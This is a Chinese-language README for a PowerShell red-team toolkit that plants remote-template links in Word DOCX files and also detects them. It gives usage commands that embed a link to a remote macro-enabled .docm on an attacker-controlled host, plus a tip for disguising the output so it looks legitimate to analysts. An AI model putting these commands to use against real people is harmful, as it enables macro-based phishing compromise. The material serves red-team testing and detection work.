远程模板注入工具包
RTI-Toolkit 是一个开源的 PowerShell 工具包,用于远程模板注入攻击。该工具包包含一个名为 PS-Templator.ps1 的 PowerShell 脚本,可从攻击和防御两个角度使用。
下表展示了 PS-Templator.ps1 的主要模块(cmdlet):
| Cmdlet | 描述 | 视角 |
|---|---|---|
| Invoke-Template | 在默认 Office Word 模板中植入远程模板链接 | 攻击 |
| Invoke-Regular | 在无模板的常规 Office Word 文档中植入远程模板链接 | 攻击 |
| Invoke-Identify | 识别带有/不带有模板的 Office Word docx 文档中的远程模板链接 | 防御 |
⚠️ PS-Templator.ps1 仅支持 DOCX 文件。
ℹ️ 此工具已被美国国家标准与技术研究院(NIST)国家漏洞数据库(NVD)引用,对应编号 CVE-2025-65318 和 CVE-2025-65319。
特别感谢我的朋友 @Papadope9 和 Stavros Gkounis(又名 purpl3ph03n1x),他们在工具的 beta 测试阶段提供了宝贵的帮助。
本工具的灵感源于几年前与 @S1ckB0y1337 合作的一次 iCAST 红队评估。
Supernova 由 @nickvourd 用 ❤️ 创建。
远程模板注入(RTI)在 Microsoft Office 的语境中,特指一种可通过 Office 文档(如 Word、Excel、PowerPoint)中的恶意模板利用的安全漏洞。
例如,在 DOCX 文件中,内容以 XML 格式存储在归档中,其中一些 XML 文件可能引用外部资源或模板。攻击者确实可以操纵这些 XML 文件,插入恶意链接或内容,从而可能利用漏洞或欺骗用户。
这是一种基于宏的攻击。
要将 PS-Templator.ps1 作为模块加载到内存中,请运行以下命令:
Import-Module .\PS-Templator.ps1
ℹ️ PS-Templator.ps1 无需安装任何额外依赖即可运行。
ℹ️ PS-Templator.ps1 可作为 PowerShell 模块使用。
ℹ️ PS-Templator.ps1 已在装有 Office 2019 Professional Plus 的 Windows 10 机器上测试通过。
Invoke-Template 是一个 cmdlet,用于在默认 Office Word 模板中植入远程模板链接。
假设您有一个默认的 Word 模板,例如下图所示:

保存为例如 'Name.docx':

如果使用 Invoke-Template cmdlet,您可以在此 docx 中插入恶意链接:
⚠️ 运行 Invoke-Template 之前,请确保保存文档并关闭它(终止其进程)。
Invoke-Template -InputDoc Name.docx -Link "https://192.168.1.3:8080/Doc1.docm" -Output C:\Users\User\Desktop\LegitDocument.docx
结果:

如您所见,Invoke-Template 模块会保留原始文档的备份,并提供恶意文档的完整路径。
从调试角度看,如果将恶意 docx 转换为 zip 归档并进入 /word/_rels/settings.xml.rels,您可以看到恶意链接:

Invoke-Regular 是一个 cmdlet,用于在没有模板的常规 Office Word 文档中植入远程模板链接。
假设您有一个没有模板的常规 Word 文档,例如下图所示:

保存为例如 'Doc1.docx':

如果使用 Invoke-Regular cmdlet,您可以在此 docx 中插入恶意链接:
⚠️ 运行 Invoke-Regular 之前,请确保保存文档并关闭它(终止其进程)。
Invoke-Regular -InputDoc C:\Users\User\Desktop\Doc1.docx -Link "http://192.168.1.3:8080/Doc1.docm" -Output Nikos2.docx
结果:

如您所见,Invoke-Regular 模块会保留原始文档的备份,并提供恶意文档的完整路径。
从调试角度看,如果将恶意 docx 转换为 zip 归档并进入 /word/_rels/settings.xml.rels,您可以看到恶意链接:

从 OPSEC 角度考虑,您可以将 -TemplateName 与 Invoke-Regular 模块结合使用。如果有人试图分析您的恶意文档,这将使其看起来更合法。
示例如下:
Invoke-Regular -InputDoc C:\Users\User\Desktop\Doc1.docx -Link "http://192.168.1.3:8080/Doc1.docm" -Output Legittemplate.dotx
结果:

从调试角度看,如果将恶意 docx 转换为 zip 归档并进入 /docProps/app.xml,您可以看到伪造的模板名称:

Invoke-Identify 是一个 cmdlet,用于识别带有/不带有模板的 Office Word docx 文档中的远程模板链接。
假设您有一个恶意的 Word 文档:
Invoke-Identify -InputDoc LegitDocument.docx -Output C:\Users\User\Desktop\output.txt
结果:

假设您有一个非恶意的 Word 文档:
Invoke-Identify -InputDoc Name.docx -Output C:\Users\User\Desktop\output2.txt
结果:
